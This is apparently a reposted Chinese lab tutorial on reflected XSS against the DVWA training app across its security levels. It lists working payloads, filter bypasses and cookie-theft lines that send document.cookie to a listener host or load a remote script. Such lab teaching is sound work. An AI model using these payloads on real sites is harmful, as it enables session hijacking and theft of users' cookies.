DVWA系列(三)——使用Burpsuite进行反射型XSS(反射型跨站脚本攻击)

1. XSS简介

(1)XSS(cross-site scripting)

跨站脚本攻击,通过web站点漏洞,向客户端交付恶意脚本代码,这些代码可以被浏览器成功的执行,从而实现对客户端的攻击;

XSS可以盗取客户端cookie,将客户端重定向到第三方网站;

(2)客户端脚本语言

弹窗警告、广告;

JavaScript;

在浏览器中执行;

(3)JavaScript

与Java语言无关;

命名完全处于市场原因;

使用最广的客户端脚本语言;

(4)XSS漏洞类型

存储型XSS;(持久型)

     恶意代码被保存到目标网站的服务器中,每次用户访问时都会执行脚本代码,这种攻击具有较强的稳定性和持久性;

反射型XSS;(非持久型)

     恶意代码并没有保存在目标网站,通过引诱用户点击一个恶意链接来实施攻击的;

DOM型XSS

     DOM型XSS是一种基于DOM树的XSS,例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS;DOM型XSS可能是存储型,也有可能是反射型;

(5)漏洞形成的根源

服务器对用户提交的数据过滤不严;

提交给服务器端的脚本被直接返回给其他客户端执行;

脚本在客户端执行恶意操作;

2. 反射型XSS攻击图示

(1)获取被攻击者的cookie;

  1. 黑客首先向服务器发送js脚本;
  2. 服务器返回含有js脚本的页面;
  3. 然后黑客将该页面的url链接发送给被攻击方;
  4. 被攻击方返回cookie;

(2) 重定向到第三方网站;

  1. 黑客首先向服务器发送js脚本;
  2. 服务器返回含有js脚本的页面;
  3. 然后黑客将该页面的url链接发送给被攻击方;
  4. 被攻击方进入第三方网站;

3. 反射型XSS

实验环境

(1)Windows服务器:Windows  Server 2003,IP地址:192.168.37.128;

(2) 测试机:Windows7物理机(开启代理,代理服务器为burpsuite)

实验过程

安全级别:Low

(1)设置安全级别

(2)查看源码

(3)源码分析

在源码中,可以看到直接引用来 name参数,并没有对参数做任何过滤;例如:输入a,则返回含有a的js页面;

(4)实验操作

简单应用

4.1> 直接输入yxz,返回Hello yxz;

4.2> 输入 <script>alert('XSS')</script>,弹出弹框;

使用Burpsuite抓包查看; 返回的页面信息为含有输入信息的js页面;

4.3> 输入 <body onload=alert('XSS1')>,弹出弹框;

4.4> 输入 <a href=http://192.168.37.128>登录</a>

4.5> 输入 <img  src=http://192.168.37.128/a.jpg onerror=alert('XSS2')>

4.6> 输入<a href='' onclick=alert('XSS3')>点击</a>

重定向

4.7> 输入<script>window.location="http://www.baidu.com"</script>

#重定向到百度;

4.8> 输入 <script>window.location="http://192.168.37.128"</script>

# 重定向到192.168.37.128

4.9> 输入 <iframe src='http://192.168.37.128/a.jpg' height='0' width='0'></iframe>

# 访问192.168.37.128/a.jpg

获取cookie

4.10> 输入 <script>new Image().src="http://192.168.37.131/c.php?output="+document.cookie;</script>

在Kali上监听80端口,获取cookie值;

4.11> 输入 <script>alert(document.cookie)</script>

4.12> 输入 <script src='http://192.168.37.131/a.js'></script>

步骤:

    1. 制作一个js脚本;

    2. 把js脚本放到www目录下;

    3. 开启阿帕奇服务;

    4. 监听端口;

    5. 访问js脚本;

    6. 获取到js脚本实现的结果;

首先在Kali上写a.js脚本,开启Apache服务,并监听指定的端口;

 输入 <script src='http://192.168.37.131/a.js'></script>

查看Kali监听到的cookie值;

安全级别:Medium

(1)设置安全级别;

(2)查看源码;

(3)源码分析

在这里是基于黑名单的思想,使用str_replace函数将输入中的<script>删除,把script脚本当做字符串来处理;

(4)实验过程

4.1> 尝试输入 <script>alert('XSS')</script>,把script脚本当做字符串来处理;

绕过方法

4.2> 可以将<script>可以写成<Script>,大小写混淆绕过;

4.3> 嵌入绕过,可以将script嵌入到<script>中,例如<scr<script>ipt>;

安全级别:High

(1)设置安全级别

(2)查看源码

(3)源码分析

High级别的代码使用preg_replace() 函数用于正则表达式的搜索和替换,将script前后相关的内容都替换为空,使得双写绕过、大小写混淆绕过不再有效;(正则表达式中i表示不区分大小写)

在High级别中,虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签事件或者iframe等标签的src注入恶意的js代码。

(4)实验过程

使用Medium中的绕过方式就不再有效;

绕过方式

对于安全级别为High,只是添加了对script的限制,但并未限制其他的方式;

例如:<body onload=alert('XSS1')>

安全级别:Impossible

(1)设置安全级别

(2)查看源码

(3)源码分析

当安全级别为Impossible时,使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素(特殊意义);不能实现反射型XSS攻击;

猜你喜欢

转载自blog.csdn.net/qq_38684504/article/details/89508436
今日推荐